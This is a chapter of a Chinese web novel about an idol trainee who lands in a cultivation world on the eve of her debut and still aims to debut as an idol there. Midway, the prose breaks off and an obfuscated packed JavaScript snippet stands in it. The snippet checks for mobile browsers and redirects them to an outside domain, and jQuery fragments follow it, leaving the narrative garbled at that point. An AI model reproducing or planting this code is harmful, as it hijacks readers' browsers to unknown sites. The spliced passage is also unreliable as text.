第1章


    “我的人生没有希望了……”


    “曾经，我以为只要坚持和努力，怎么都会出道的，声乐练到凌晨四点我没放弃，掰腿掰到抽筋我没放弃，老板公司破产我没放弃，可我没想到，我还能穿越的？而且，就在我要出道的前一天，我穿了。”


    “穿到这么一个鸟不拉臭臭，连偶像这个词都没发明出来的修真界。”


    “我还怎么出道？”


    灰瓦白墙，假山潺潺，练习生三年·预备役五年·出道前夕穿越的准偶像（倒霉蛋）·沐柠，正躺在一棵苹果树下emo.


    “表姐！”


    沐杨暨找过来时，正看到沐柠目光无神，偏头躲过了一个掉落的苹果。


    几根发丝蓬松散落，垂在她脸侧，少女微微垂眸，眼神中没有半分对这个世界的眷恋，纯白的衣裙旁，苹果红得发暗，阴颓诡异，美得惊人。


    沐杨暨脚步微微一顿，常年相处，他从不觉得总被夸“漂亮”的表姐有什么好看的，可这一刻，幼小的心灵突然被震了下。


    就，挺适合留影的。


    “如面见字”上那些放出留影的女修们，都很美，但没有一张有这样古怪的氛围感，一眼就抓住人心。


    他不懂，几十万年以后，这叫厌世风硬照。


    这样的表现力，放在现代要被摄影师咔咔夸“amazing”的。


    但对于沐柠来说只是一种下意识的呈现。


    ——偶像，就是要给每一个镜头/视线，都展现出最完美的角度。


    至于沐柠本人，她还在emo.


    “一切都没有意义了……”


    不远处，二叔沐镇则正为新进弟子介绍园中情况，一眼瞥见躺着的沐柠，心里不太爽利，咳嗽一声，提起了声音。


    “那就是你们一直想见的沐家天才。你们都记好，入沐家宗门，要勤勉修行。恃才不学，只会自食苦果，哼，我这一身金丹修为，十年苦修方得，在那躺着可成不了金丹。”


    “表姐，你快起来吧，二叔点你呢。”沐杨暨拽拽沐柠的衣角。


    沐柠声音飘忽：“起来，不起来，又有什么区别？修炼，不修炼，又有什么意义？金丹，突破，人生，这一切，在我看来，都没有什么可追求的了。”


    沐杨暨一滞，很快酸了。


    这是何等的心境！


    不求即是求，不得即是得。


    沐杨暨：“表姐，你悟了！”


    “轰隆——”


    凭空一声炸雷，紫色闪电下，沐柠像被温暖和煦的光抚了抚，修为从筑基巅峰突破到了金丹初期。


    沐柠：……


    好吧她还真是个天才。


    就，挺离谱的。


    沐杨暨更酸了，他盯着沐柠身下那块地：“表姐，你能不能让开，让我也躺躺？”


    修者悟道突破之地，因得窥天道，往往留有一丝玄妙之机，旁的修者若是能在此有所参悟，修行更是事半功倍。


    同样盯着那块地的，还有那七八个新弟子，以及震惊到刚揪断自己两缕胡子的沐镇则。


    弟子甲：“天——天才！”


    弟子乙：“真——真能躺来啊！”


    弟子丙：“二长老，您刚说修了几年来着？”


    沐镇则：……


    他又咳嗽了一声，捋着胡子，故作高深：“肤浅，你们只看到了表象，我都说了，这是我们沐家的天才，你们以为她是在躺着吗？她明明是在修炼悟道。快，我们走远些，莫要打扰她修行。”


    弟子们依依不舍，一步三回头地走了，离开前还头还努力伸着，猛吸了几下。


    这可是秒升金丹、无痛突破的玄机啊，吸到一口就赚一口！


    沐镇则送走了弟子们，很快又返身回来，凑到那颗苹果树前，笑容前所未有的明媚，捧着一块上品灵石递过来：“柠泞，让二叔也躺躺？”


    沐柠：……


    她仿佛听到某个胖胖老爷子，威严的在她耳边冷哼：“前倨而后恭，思之令人发笑。”


    二叔，你的骄傲放纵呢？


    木镇则见她没反应，咬咬牙又掏出一块上品灵石，一红一蓝捧在手中，荧荧发润，他觍着脸笑：“沐仙子，劳烦您移个驾？”


    沐柠：……


    最终，沐柠靠坐在石凳旁，她的对面，沐镇则和沐杨暨这叔侄俩一左一右，挤在那颗苹果树下。


    就这块挤出来的位置，还是沐杨暨又敲了沐镇则十块下品灵石，听他叫上一句“沐少侠”才肯挪出来的。


    沐镇则叫“沐少侠”倒是毫无负担，不过给灵石就没像对沐柠那么主动和痛快。


    本来沐杨暨要的是一块中品灵石，沐镇则砍价厮杀了几个回合，成功地砍到了十块下品灵石，那架势，活像在菜市场挑小白菜。


    沐柠：……


    她觉得自己“……”的有点多，但还是忍不住“……”，因为看到他们头挤头，腿挤腿，和谐友好地在那商量谁的腿放上面舒服时，冲击力强得她只剩下无语了。


    于是，在穿越三分五十六秒后，沐柠终于不emo了。


    她捞起旁边的苹果，咬了一口，打算想想出道的事。


    是的，在修真界了，沐柠还是想出道当偶像。


    若是因现实变化而转移和妥协，那也叫不上梦想了。


    对面，沐镇则安安静静地闭目入定，沐杨暨却静不下心，眨巴眨巴眼，瞅着沐柠：“表姐，突破金丹就可以出去溜d……咳，出去历练了，你打算什么时候走？想去哪啊？”


    沐柠沉思：“我想出道的话，不知道家里会不会支持？”


    沐杨暨毫不犹豫：“你做什么家里都支持的，不过，什么叫出道啊？”


    他眨巴着大眼睛。


    沐柠：“就是当偶像，第一次跟这个世界亮相，展示自己。”


    沐杨暨听懂了“亮相”，他理解，外出历练总是想要扬个名的，沐杨暨想了想：“我听我爹说，爷爷更希望你去一流的名门大宗。”


    他们这地还是小了点，能拜入名门大宗，对沐柠，对沐家，都好。


    沐柠听着觉得也合理，毕竟，大公司出道关注度才高嘛。


    练习生又多又优质，还好找队友。


    沐柠接着问：“那一流的名门大宗都有哪些？”


    这话一出，沐杨暨差点哭了。


    被沐柠的“刻苦”感动的。


    若不是勤勉修炼，怎么会连这修真界的常识都不知道，唉，他还是知道的太多了，怪不得卡筑基初期上不去。


    沐杨暨认真介绍：“修真者众多，名门大宗不少，但若说一流，说得上号的，也就三个宗门。”


    沐柠若有所思，哦，修真界也有自己的三大。


    沐杨暨比着一根手指头：“这公认排第一位的，就是莫上宗。莫上宗很全面，修阵符医，器音体御，莫上宗无一不精，又开拓求新，每一代都有不同类型的佼佼者亮相，还有两位渡劫期的大佬坐镇宗门。”


    沐柠：全面又爱玩新概念？哦，修真界的MS。


    沐杨暨：“第二个嘛，就是归衍剑派，派如其名，归衍剑派全是剑修，自由、不羁、天上地下、唯我独尊的剑修，只要用剑，就是归衍剑派的人，得在那挂名。听说最近他们还要办个剑修大会呢。”


    沐柠：自由，不羁，修真界GY啊。


    沐杨暨：“最后就是朋怡居门，这个宗门全是女子，也只招女子，想修什么都可以，有修合|欢功法的，也有入无情道的，不过她们掌门是个男的。”


    沐柠：女子团体比较出名，不愧是PYJ。


    沐杨暨：“表姐，我推荐你去莫上宗，天下第一宗门哎，还有好多天才，你要是去了，我，咱家也能跟着沾沾光。”


    沐柠觉得他别有目的。


    那眼神中的光芒她实在是太熟悉了，那是追星的光芒，那是对偶像的羞涩。


    沐柠问他：“你喜欢莫上宗的谁？”


    沐杨暨扣扣草皮，眼神漂移：“薛临风挺厉害的。”


    男的啊。


    沐柠不关心了。


    她又问：“咱们家宗门地位怎么样？”


    沐杨暨小胸膛挺起：“咱们沐家堡那在丹东这一片可是数一数二的，无人不知，无人不晓。”


    沐柠点头：家庭作坊？从自家出道，好像也不错的样子。


    沐杨暨：“咱们家在二流宗门中，排行第三——三十四。”


    沐柠：原来她家是个除了街坊没人知道名字的小公司，从这出道别说水花，连个水纹都没有……


    她还是先去三大看看吧。


    三大有见识，懂创新，接收度高，合适的话，她先忽悠几个队友，再忽悠个大佬投资她们出道。


    热风微醺，树影婆娑，沐柠眼神清醒，目光坚定，她看向沐杨暨：“再给我个苹果。”


    “还挺好吃的。”


    因为对上沐柠眼神，那一瞬间心中燃过千军万马的沐杨暨：……


    他随手摘了个苹果，扔了过去。


    有细弱的呼吸声响在耳边，沐柠接住苹果，视线落在躺着的那个人身上：“二叔他，是不是打呼噜了？”


    沐杨暨：“没有吧，二叔怎么会睡着——”


    话说一半，沐镇则猛地一声，快要背过气似的，吓得沐杨暨要按他人中了，就见沐镇则咂咂嘴，回味无穷的样子，翻了个身，将沐杨暨的衣袍拽了半截盖在身上，又睡过去了。


    沐杨暨默默地在沐镇则的身上擦了擦刚沾到的口水：“嗯，二叔睡着了。”


    沐柠却没应。


    她本来就是故意提二叔的。


    因为要麻痹那个暗中窥视他们的人。


    ——偶像，无论藏得多深的镜头，都会第一时间发现。


    沐柠向后靠坐，微微偏头后仰，拿起苹果的同时，向侧后方瞥去。


    柔软乌黑的发滑过白皙的脖颈，眼神漫不经心的随意，苹果如酒醇微醺，一点青意盈透。


    她在找那个人。


    墙外有个模糊的影子闪过。


    “谁！”


    沐杨暨骤然暴起，双手一搓，一个形状颇为古怪的拨浪鼓锤现于手上。


    他几步跨出，纵身一跃，抡起大锤就往下砸。


    比那锤子更快的，是一个红中透青的苹果。


    “吱！”


    尖利的声音响起，目光中现出一对圆圆的小耳朵，又黑又亮的圆眼睛，弧线优美的黑眼罩，以及一双按在头顶满是恐惧的灰爪爪。


    胖狸猫？


    沐柠心念一动，人已经踏在墙外，恰好接住了之前扔出的苹果，右手顺势向前，苹果便递到了那胖狸猫面前。


    “别害怕，给你吃。”


    她目光在狸猫毛绒绒的毛毛上移动，思考着伸手摸一下被咬的概率有多大，以及在修真界被咬了有没有狂犬疫苗。


    沐杨暨扛着锤子落在身后，看着那苹果给出去了，眼睛不是眼睛，鼻子不是鼻子地哼了声：“是只狸猫啊。”


    狸猫有点可爱地仰起头，小爪爪向前，就要接那苹果，突然受惊似的，往后一退。


    沐柠把苹果放在它面前，她直起身子，体态挺拔，如优雅的芭蕾舞者，漂亮标准，无时无刻不展现自己最好的姿态。沐柠眼睛微眯，怀疑地往院外那片桃树林中看去。


    桃子皮薄水|嫩，汁水沉甸甸的，压弯了桃枝。


    桃树层层叠叠，攀枝交错，察觉不到人的气息，也看不到有人。


    “杨暨，帮我跟爷爷说一声，我要去三大看看。”沐柠盯着那片桃树林：“现在就去。”


    话音刚落，她纵身跃起，几步就没了踪影。


    沐杨暨默默收回想要呼喊“带我走”的尔康手，不着痕迹地顺势挠了挠头，低头琢磨了会儿那只胖狸猫，几乎快把对方看炸毛了，才嘀咕两声：“也没什么特别的啊。”


    “怎么就收到苹果了啊，难道是丑得太让人可怜了？这我做不到啊。”


    胖狸猫：……你礼貌吗？


    沐杨暨看着突然龇牙咧嘴的狸猫，到底放不下面抢狸猫的苹果，将锤子一收，转身回了院内，叫醒二叔让他去查账后，就猫在苹果树下，打坐修炼起来。


    另一边，沐柠没有走多远。


    她来到那片桃树林中，却没有发现什么异样。


    刚刚一定有人在这里，往他们的方向看了一眼，只是现在，不知道是躲起来了，还是走了。


    沐柠神念外放，查了几遍，确认没有人后，往家里发了传信书提醒，这才召出风行舟，规划好路线，向着莫上宗的方向而去。


    沐柠走后，又过了一会儿，最边上的桃树后，转出来一个身影。


    “吱吱。”


    胖狸猫捧着苹果凑到他身前。


    那人冲它伸出了手。


    胖狸猫眼睛一亮，脸上笑容春|光灿烂，伸出自己的一只小爪爪，就要搭在那人手上。


    “苹果。”


    冷如天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972272|161333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山寒冰的声音传来，睥睨，傲慢。


    胖狸猫爪爪滞住，耳朵耷拉下来，顿时哭唧唧的，恋恋不舍地将苹果递了出去。


    苹果虚空飘在那人手上。


    他冷淡的眸微垂，默不作声地看了会儿，转头又看了会儿胖狸猫。


    胖狸猫在那趴着，一无所知地抖腿挠痒，灰毛毛一颤一颤。


    ……


    男人面无表情地挪开眼。


    一道紫光自袖间飞出，化为印信落在胖狸猫的爪爪上。


    “老规矩，你去送拜帖。”男人吩咐道。


    胖狸猫却浑身警惕一抖，又有点炸毛，不仅炸毛，还掉毛。


    似乎因此而焦虑，PTSD了。


    男人目下无尘，凌空而起，转身走了。


    剩下胖狸猫，闭着眼睛将那手中的拜帖打开，明显做了番心理斗争，才猛地睁开眼。


    这一看，毛又掉了三层。


    只见拜帖上端端正正写着十个大字：


    “明日午时，姓沐的你等着。”


    胖狸猫：……


    它捂脸哀嚎，姓薛的你拜帖怎么还写得这么欠揍？人家会以为你是来寻仇的啊啊啊！！！


    *


    沐柠遁速冲到最高，用了十五天的时间，对三大进行了考察。


    和现代的三大一样，财大气粗，手中偶像正当红，练习生储备充足，她这种临时来投的个人练习生，根本到不了台面上。


    莫上宗连门都没进去，守门弟子用鼻孔看人，表示“成熟修者自成体系，不适应莫上宗□□学，我们不要！”


    得，人家喜欢璞玉，不要成熟练习生。


    归衍剑派倒是见到了个高层，门派大师兄冷冰冰回应：“我们现在不招人，一个月后剑修大会你可以去，剑法厉害的话归衍剑派自然会收你。”


    嗯……GY就是GY，从始至终爱PK战。


    朋怡居门倒是非常欢迎她，甚至迎接的小姐姐完美理解了沐柠口中的“出道”。


    但她们宗门有名的女修不少，暂时不会推出新的女修扬名，且排在沐柠前面的，还有十二个师姐。


    “或者，你们可以十三个绑定，一起出道。”小姐姐温柔地出主意。


    沐柠：……


    达咩！大型团有魔咒的。


    十三人的大型女团达咩！


    在三大出道是没指望了，而且，沐柠在路上时做了调研，也没那么倾向在三大出道了。


    三大虽创新，但实际很传统，从三大扬名的人，都是不俗的修者。


    三大不会给一个梦想舞台的偶像太多投资和机会，不当能打架的修者，进了直接就雪藏。


    沐柠有了新的想法。


    这些天，她一有空闲，就泡在如面见字——修真界的天涯论坛上，将整个修真界的情况，搞了个明明白白。


    这是个娱乐贫瘠的时代。


    如果要类比的话，娱乐只局限在现代的纸媒、小说和论坛上，连个电视都没有，更别说节目了。


    而娱乐的贫瘠是受限于技术的贫瘠。


    沐柠穿越前是2028年，短视频盛行，偶像明星大爆发，娱乐节目层出不穷，电子鸦片充斥生活，这一切都建立在包括存储、通信、计算等电子信息技术的发展上。


    修真界也有技术，不过大概是1990年的阉割版水平，联通交互平台只有一个如面见字，留音石最多录到三分钟，留影石能录到三分钟的能卖到天价，唯一超越1990的，也就是人们不靠飞机就能飞。


    如此贫瘠，又是修行实力至上、不尚娱乐的修真界，听过她偶像想法的人，都觉得这里是干枯无水的土地，她的梦想永远都无法发芽。


    可沐柠觉得这是一片蓝海。


    等着她开拓，乘风破浪。


    修真界又如何？


    三大不支持又如何？


    连个电视都没有又如何？


    沐柠从小到大的梦想，毕生的追求，便是这样一个职业。


    威胁和死亡都不能阻止她。


    更何况是这里呢？


    她要出道。


    “我要出道。”


    “在修真界出道。”


    云霄九天之上，沐柠看着越来越近的沐家堡，小声但坚定地说着。


    ===


    2031年，下午两点。


    著名视频创作与分享网站赛哩赛哩（C站）上，一个三无新账号发布了一个新视频——


    ——《直播：出道前夕穿到修真界，我还要当偶像。》


    因为挂了偶像、出道、直播等标签，被迅速推送到各大用户们的首页上。


    用户们一看到题目：什么玩意？


    都穿修真界，能飞天遁地、长生不老了，还要当偶像？


    有病吧！什么破烂剧本！


    踩！


    与此同时，京华市某摄影棚中。


    短剧《穿到修真界：不当偶像当神仙》宣传画报拍摄现场。


    “宋导，您看这个。”场记助理小张将手机递到导演宋空面前：“C站刚推的，不知道是哪家这么没脑子，拍了和咱们题材完全相反的短剧来碰瓷。”


    “不过导演您放心，评论基本全都是在骂的，我也跟C站幕后的朋友问过了，这视频赞踩比低得吓人，他会帮我们提前限流锁死，影响不了我们。”


    这本不是什么大不了的事，小张特意拿出来，也只是想在宋空眼前刷刷脸，卖个好。


    不过不是为宋空，而是为了宋空的哥哥宋投。


    宋投是知名音乐制作人，三年前推出歌曲《渴望》一曲成名，每年毕业季必屠榜，每个出道偶像都想cover,各大综艺节目抢着当背景音乐，可以说是他的养老曲了。


    虽然后面宋投难以再续巅峰，但瘦死的骆驼比马大，大到能保驾自己同为制作人的不成器弟弟转行当短剧导演，甚至宣称“会亲自操刀音乐制作”来捧话题，可见他对这个弟弟有多看重。


    小张有个音乐梦，来剧组工作，也是想要曲线救国，通过宋空接触到宋投。


    一有机会表现，就立刻凑过来了。


    谁料宋空看了那标题两秒钟，又点开看了看评论，意味不明地笑笑。


    “限流？你把事情想窄了。”


    小张不解：“导演，不限流吗？”


    “不。”宋空嚼着口香糖，镜片中反射出他得意的嘴角：“这可是同行送来的富贵。”


    “给我把它送上热门。”